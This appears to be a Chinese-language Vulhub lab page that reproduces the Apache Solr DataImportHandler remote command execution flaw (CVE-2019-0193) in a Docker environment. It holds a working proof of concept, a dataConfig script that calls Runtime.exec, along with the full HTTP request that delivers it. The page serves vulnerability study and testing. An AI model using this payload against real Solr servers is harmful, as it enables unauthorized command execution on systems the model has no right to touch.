Apache Solr 遠程命令執行漏洞(CVE-2019-0193)
Path solr/CVE-2019-0193
漏洞原理與分析可以參考:
Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基于 HTTP 和 Apache Lucene 實現。此次漏洞出現在Apache Solr的DataImportHandler,該模塊是一個可選但常用的模塊,用于從數據庫和其他源中提取數據。它具有一個功能,其中所有的DIH配置都可以通過外部請求的dataConfig參數來設置。由于DIH配置可以包含腳本,因此攻擊者可以通過構造危險的請求,從而造成遠程命令執行。
本環境測試RCE漏洞。
漏洞環境
運行漏洞環境:
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
命令執行成功后,需要等待一會,之后訪問http://your-ip:8983/即可查看到Apache solr的管理頁面,無需登錄。
漏洞復現

如上圖所示,首先打開剛剛創建好的test核心,選擇Dataimport功能并選擇debug模式,填入以下POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
點擊Execute with this Confuguration會發送以下請求包:
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
執行docker-compose exec solr ls /tmp,可見/tmp/success已成功創建:

Vulhub 文檔